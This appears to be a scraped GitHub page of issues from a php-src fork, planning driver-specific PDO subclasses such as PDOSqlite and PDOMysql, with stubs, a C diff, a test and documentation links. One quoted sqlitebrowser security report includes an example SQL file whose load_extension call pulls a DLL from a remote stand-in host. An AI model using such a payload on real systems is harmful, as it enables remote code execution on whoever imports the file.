imagick / php-src Goto Github PK
View Code? Open in Web Editor NEWThis project forked from php/php-src
The PHP Interpreter
Home Page: https://www.php.net
License: Other
This project forked from php/php-src
The PHP Interpreter
Home Page: https://www.php.net
License: Other
Add PDOSqlite stub.
Create PDOSqlite class.
2a. Check it exists.
Create a PDO::connect function.
Extract the code that is in PDO::__construct to be used elsewhere, probably.
Detect whether PDO is connecting to SQLite.
Return an PDOSqlite class if it is.
Implement PDOSqlite::openBlob
Create PDOPostgres ?
Find Postgres specific methods.
Make all relevant classes only registered if their corresponding driver is loaded?
If people think it needs to be added.
https://www.php.net/manual/en/pdo.sqlitecreatefunction.php
Think about deprecating this version.
aka php#10726
e.g. extension_dir
extension_dir = SQLITE3G(extension_dir);
extension_dir_len = strlen(SQLITE3G(extension_dir));
asd
asd
Your task, should you choose to accept it...
Create a stub class for a PDOMysql class in the pdo_mysql directory, containing an class that just extends PDO.
Get that compiling, which I think should be done by just adding #include "pdo_mysql_arginfo.h"
in pdo_mysql.c. Edit - actually the first time I think you need to run php build/gen_stub.php
after adding the stub file, to generate the arginfo header file. After that has been done once, and the c file that includes it is compiled, the arginfo file will be regenerated automatically.
Actually register the class somewhere in the PHP_MINIT_FUNCTION function in pdo_mysql.c. If you look in the file pdo_sqlite.c to see what I've done there, including the horribly hacky static pdo_driver_class_entry pdosqlite_pdo_driver_class_entry;
Copy and rename the tests pdosqlite_001.phpt and pdosqlite_002.phpt from the path ext/pdo_sqlite/tests/subclasses and put them in an equivalent place in the pdo_mysql directory. Delete all sqlite specific stuff, so that you're just testing that the PDOMysql class exists and works as expected.
There is a mysql specific method that could be added, some details of which are in #13 to do that you'd need to
Add the method entry to the stub file. I think the method signature should just be getWarningCount(): int
. Doing that will give an error as you also need to create the class method is C....
Create a file called pdo_mysql_class.c
in the pdo_mysql directory, and add the file name to the file php-src/ext/pdo_mysql/config.m4 on the line that contains PHP_NEW_EXTENSION where the other C files are listed. This will require another ./buildconf . Not sure if it would require a make clean.
Add the code from the static PHP_METHOD(PDO, mysqlGetWarningCount)
from the link above (but change the method name as it doesn't need 'mysql'), and also add the test.
https://www.php.net/manual/en/pdostatement.getcolumnmeta.php
if (!stmt->methods->get_column_meta) {
pdo_raise_impl_error(stmt->dbh, stmt, "IM001", "driver doesn't support meta data");
RETURN_FALSE;
}
Though this might be out of scope for the RFC - as I can't design apis.
Discussion - https://externals.io/message/100773#100813
RFC - https://wiki.php.net/rfc/implement_sqlite_openblob_in_pdo
Code - php#2698
class PDOSqlite extends PDO {
public function createFunction(...) {...}
}
class PDO {
public static function connect(string $dsn [, string $username [,
string $password [, array $options ]]]) {
// if connecting to SQLite DB {
return new PDOSqlite(...);
}
}
}
Warning: fwrite(): Can't write to blob stream: is open as read only in %s on line %d
Warning: fwrite(): It is not possible to increase the size of a BLOB in %s on line %d
For backwards-compatibility reasons, we'd presumably still have to retain the ability to call those methods on the plain PDO object though :( But at least there would be a way to use it in a sensible way in new code. In particular this also allows you to write things like:
if ($pdo instanceof PDOSqlite) {
$pdo->loadExtension(...);
}
I think sqlite3_create_window_function in https://www.sqlite.org/c3ref/create_function.html is something for someone else....but it would be good to mention.
tbh, I might leave this out, and have a follow up RFC...
#define SQLITE_UTF8 1 /* IMP: R-37514-35566 */
#define SQLITE_UTF16LE 2 /* IMP: R-03371-37637 */
#define SQLITE_UTF16BE 3 /* IMP: R-51971-34154 */
#define SQLITE_UTF16 4 /* Use native byte order */
#define SQLITE_ANY 5 /* Deprecated */
#define SQLITE_UTF16_ALIGNED 8 /* sqlite3_create_collation only */
Copy the code from php#2698
Function signature is:
PDOSqlite::openBlob(string $table , string $column , int $rowid [, string $dbname = “main” [, int $flags = PDO::SQLITE_OPEN_READONLY ]] )
https://github.com/php/php-src/pull/6677/files
Viewed
@@ -0,0 +1,22 @@
--TEST--
MySQL PDO->mysqlGetWarningCount()
--SKIPIF--
<?php
require_once(__DIR__ . DIRECTORY_SEPARATOR . 'skipif.inc');
require_once(__DIR__ . DIRECTORY_SEPARATOR . 'mysql_pdo_test.inc');
MySQLPDOTest::skip();
?>
--FILE--
<?php
require_once(__DIR__ . DIRECTORY_SEPARATOR . 'mysql_pdo_test.inc');
$db = MySQLPDOTest::factory();
$assertWarnings = function ($db, $q, $count) {
$db->query($q);
printf("Query %s produced %d warnings\n", $q, $db->mysqlGetWarningCount());
};
$assertWarnings($db, 'SELECT 1 = 1', 0);
$assertWarnings($db, 'SELECT 1 = "A"', 1);
?>
--EXPECT--
Query SELECT 1 = 1 produced 0 warnings
Query SELECT 1 = "A" produced 1 warnings
/* {{{ proto string PDO::mysqlGetWarningCount()
Returns the number of SQL warnings during the execution of the last statement */
static PHP_METHOD(PDO, mysqlGetWarningCount)
{
pdo_dbh_t *dbh;
pdo_mysql_db_handle *H;
dbh = Z_PDO_DBH_P(ZEND_THIS);
PDO_CONSTRUCT_CHECK;
H = (pdo_mysql_db_handle *)dbh->driver_data;
RETURN_LONG(mysql_warning_count(H->server));
}
/* }}} */
static const zend_function_entry dbh_methods[] = {
PHP_ME(PDO, mysqlGetWarningCount, NULL, ZEND_ACC_PUBLIC)
PHP_FE_END
};
static const zend_function_entry *pdo_mysql_get_driver_methods(pdo_dbh_t *dbh, int kind)
{
switch (kind) {
case PDO_DBH_DRIVER_METHOD_KIND_DBH:
return dbh_methods;
default:
return NULL;
}
}
/* {{{ pdo_mysql_request_shutdown */
static void pdo_mysql_request_shutdown(pdo_dbh_t *dbh)
{
@@ -625,7 +655,7 @@ static const struct pdo_dbh_methods mysql_methods = {
pdo_mysql_fetch_error_func,
pdo_mysql_get_attribute,
pdo_mysql_check_liveness,
NULL,
pdo_mysql_get_driver_methods,
pdo_mysql_request_shutdown,
pdo_mysql_in_transaction,
NULL /* get_gc */
There are quite a few existant issues to close in other places:
https://bugs.php.net/bug.php?id=57691
https://bugs.php.net/bug.php?id=64810
Not close, but update:
https://bugs.php.net/bug.php?id=78126
sqlitebrowser/sqlitebrowser#1551
When importing a sql file the load_extension function is enabled. An attacker can craft a malicious sql file like this:
BEGIN TRANSACTION;
CREATE TABLE `test` (
`id` INTEGER
);
INSERT INTO `test` VALUES (load_extension("\\example.com\sqlite_extension.dll", "hello"));
COMMIT;
But this seems to be quite chaotic, reading
https://secure.php.net/manual/en/pdostatement.bindcolumn.php
"Since information about the columns is not always available to PDO
until the statement is executed, portable applications should call this
function after PDOStatement::execute().
However, to be able to bind a LOB column as a stream when using the
PgSQL driver, applications should call this method before calling
PDOStatement::execute(), otherwise the large object OID will be returned
as an integer."
pgsqlCopyFromArray
pgsqlCopyFromFile
pgsqlCopyToArray
pgsqlCopyToFile
pgsqlGetNotify
pgsqlGetPid
pgsqlLOBCreate
pgsqlLOBOpen
pgsqlLOBUnlink
PDO::sqliteCreateAggregate — Registers an aggregating User Defined Function for use in SQL statements
PDO::sqliteCreateCollation — Registers a User Defined Function for use as a collating function in SQL statements
PDO::sqliteCreateFunction — Registers a User Defined Function for use in SQL statements
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.